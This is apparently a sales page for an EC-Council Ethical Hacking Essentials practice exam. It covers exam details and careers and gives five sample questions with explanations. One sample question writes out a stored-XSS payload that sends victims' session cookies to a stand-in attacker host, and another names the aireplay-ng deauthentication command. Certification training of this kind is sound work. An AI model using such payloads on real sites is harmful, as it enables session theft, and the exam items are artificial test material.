EC-Council · EHE
Validates foundational understanding of ethical hacking and penetration testing concepts, covering information security fundamentals, threats and vulnerabilities, password cracking, web application attacks, IoT and OT security, cloud computing threats, and penetration testing methodology.
Practice Questions
627
≈ 5 practice exams
Duration
120 minutes
Passing Score
70%
Difficulty
FoundationalLast Updated
Feb 2026
Use this EHE practice exam to prepare for Ethical Hacking Essentials (EHE) with realistic questions, detailed explanations, and focused study modes. The practice bank includes 627 questions for EC-Council EHE, so you can review the exam steadily instead of relying on one long cram session.
As you practice, pay extra attention to patterns in your missed answers. Start with short sessions to identify weak areas, then move into timed quizzes once your accuracy is consistent.
The explanations are especially useful when you want to connect exam wording to the responsibilities and scenarios described in the official certification guidance. Use the free preview first, then unlock the full question bank when you are ready to build a complete study routine.
The Ethical Hacking Essentials (EHE) is an entry-level cybersecurity certification from EC-Council, designed to validate foundational knowledge of ethical hacking principles, penetration testing concepts, and information security fundamentals. Delivered under EC-Council's Essentials Series, it covers a broad spectrum of attack surfaces and defensive countermeasures across 12 modules, including network-level attacks, web application vulnerabilities, social engineering, wireless security, IoT and operational technology (OT) threats, and cloud computing risks. The certification carries exam code 112-52 and is valid for three years, with no continuing education fees or EC-Council Continuing Education Credits (ECEs) required during that period.
EHE serves as a structured on-ramp for individuals new to the cybersecurity field, bridging the gap between general IT knowledge and the more advanced Certified Ethical Hacker (CEH) credential. The course includes 15 hours of premium learning content and 11 hands-on labs, ensuring candidates gain both conceptual understanding and practical exposure to real-world attack techniques and countermeasures.
EHE is aimed at individuals who are beginning their journey in cybersecurity and information security. There are no formal IT or cybersecurity experience requirements, making it accessible to career changers, recent graduates, and students exploring the field. Job roles that align with this certification include entry-level security analyst, junior penetration tester, IT support professional seeking to pivot into security, and cybersecurity student.
The credential is also well-suited for professionals in adjacent IT roles—such as system administrators or network technicians—who want to formalize their understanding of attacker methodologies and threat landscapes. It is frequently pursued as a first step before attempting the CEH or other intermediate-level certifications.
There are no formal eligibility requirements or prerequisites to register for the EHE exam. EC-Council explicitly states that no prior IT or cybersecurity experience is necessary, making this one of the most accessible credentials in the EC-Council portfolio.
However, candidates benefit from a basic understanding of how computers and networks operate, including familiarity with operating system concepts, IP addressing, and common internet protocols. Those with some exposure to IT fundamentals—through coursework, self-study, or personal projects—will find the material easier to absorb and retain during preparation.
The EHE exam (code 112-52) consists of 75 multiple-choice questions and must be completed within 120 minutes. A passing score of 70% is required. The exam is administered through EC-Council's ECC Exam Center and can be taken online in a proctored environment. The exam cost is $49.99 for the exam voucher through select channels, though pricing may vary by region and training bundle.
The certification is valid for three years from the date of a successful attempt. Recertification is achieved by retaking the exam at the end of the three-year validity period. No continuing education credits or fees are required to maintain the credential during its active term.
Earning the EHE credential demonstrates to employers that a candidate possesses structured, vendor-validated knowledge of ethical hacking fundamentals, which can differentiate entry-level applicants in a competitive cybersecurity job market. The certification is recognized as a stepping stone toward higher-value EC-Council credentials, most notably the Certified Ethical Hacker (CEH), which is widely required or preferred for penetration tester, security analyst, and red team roles. EHE holders are positioned for roles such as junior security analyst, cybersecurity support specialist, and IT risk analyst.
While the EHE itself is a foundational credential and does not command the same salary premium as CEH or OSCP, it validates commitment to the field and provides a recognized credential for candidates building their first cybersecurity resume. Entry-level cybersecurity roles in the United States typically range from $55,000 to $85,000 annually, and holding a recognized certification from EC-Council can accelerate hiring and interview opportunities, particularly at organizations that already use EC-Council training for their security teams.
5 sample questions with answers and explanations. The full bank has 627 questions, enough for 5 full-length practice exams.
Preview — answers shown1. A web application stores user comments in a database and displays them on a public page without sanitization. An attacker submits a comment containing <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>. When other users view the page, their session cookies are sent to the attacker. Which type of XSS attack is this? (Select one!)
Explanation
Stored XSS (persistent XSS) occurs when malicious scripts are saved in the application's database and executed whenever users retrieve the stored data. The comment is permanently stored and affects all subsequent visitors viewing the page. Reflected XSS involves scripts passed in URL parameters that execute immediately without storage. DOM-based XSS manipulates client-side JavaScript without server-side involvement. Self-XSS requires victims to execute malicious code themselves, typically through social engineering.
2. During a wireless security assessment, a tester uses the aireplay-ng tool with the -0 flag to disconnect clients from an access point by sending spoofed management frames. What attack is being performed? (Select one!)
Explanation
The aireplay-ng -0 command sends deauthentication frames that force wireless clients to disconnect from the access point. This exploits the fact that 802.11 management frames are unprotected in WPA2. Deauth attacks are commonly used to capture WPA handshakes or force clients to connect to evil twin access points. Evil twin attacks involve creating a rogue access point with the same SSID but deauth is only one component. WPS PIN attacks exploit the WiFi Protected Setup vulnerability using tools like Reaver. KRACK (Key Reinstallation Attack) exploits the four-way handshake by forcing nonce reuse, which is different from simply disconnecting clients.
3. During a web application security assessment, a tester discovers that user input is directly incorporated into JavaScript code within the DOM without server-side processing. The tester crafts a URL containing a malicious script that executes when the page loads, but the attack works entirely within the browser without the payload being sent to the server. Which XSS variant is demonstrated? (Select one!)
Explanation
DOM-based XSS occurs entirely in the client-side JavaScript without server-side involvement, exploiting unsafe DOM manipulation like document.write or innerHTML with untrusted data from sources like location.hash. Reflected XSS requires server-side processing where the payload is reflected in the response. Stored XSS persists the payload in server-side storage like databases. Blind XSS is stored XSS where the attacker cannot directly observe the execution.
4. A network administrator detects that a device on the network is sending gratuitous ARP replies associating the gateway's IP address with the attacker's MAC address. Victim machines update their ARP cache and begin sending traffic intended for the gateway through the attacker's system. Which countermeasure would be most effective at preventing this attack? (Select one!)
Explanation
Dynamic ARP Inspection (DAI) validates ARP packets against trusted DHCP bindings and drops invalid gratuitous ARP replies, directly preventing ARP poisoning attacks. DAI intercepts ARP packets and verifies the MAC-to-IP bindings before forwarding. Port security limits the number of MAC addresses per port but does not validate ARP packets. VLAN segmentation limits broadcast domains but does not prevent ARP poisoning within a VLAN. Stateful firewalls operate at Layer 3/4 and do not inspect ARP traffic at Layer 2.
5. An organization implements a three-layer security architecture including physical locks and biometric access at facilities, firewalls and IDS at the network level, and security policies with staff training at the administrative level. Which security concept is being applied? (Select one!)
Explanation
Defense in depth integrates multiple security layers across physical, technical, and administrative controls to provide comprehensive protection. Least privilege grants minimum necessary permissions. Separation of duties divides critical functions among multiple people. Need to know restricts information access to only those requiring it. Only defense in depth describes the layered architectural approach combining physical, technical, and administrative controls.
Certified Application Security Engineer .NET (CASE-.NET)
CASE-.NET · 625 questions
EC-Council Certified Incident Handler (ECIH)
ECIH · 590 questions
EC-Council Certified Encryption Specialist (ECES)
ECES · 627 questions
ICS/SCADA Cybersecurity
ICS-SCADA · 627 questions
Certified Application Security Engineer Java (CASE-Java)
CASE-Java · 623 questions
Network Defense Essentials (NDE)
NDE · 627 questions
$17.99
One-time access to this exam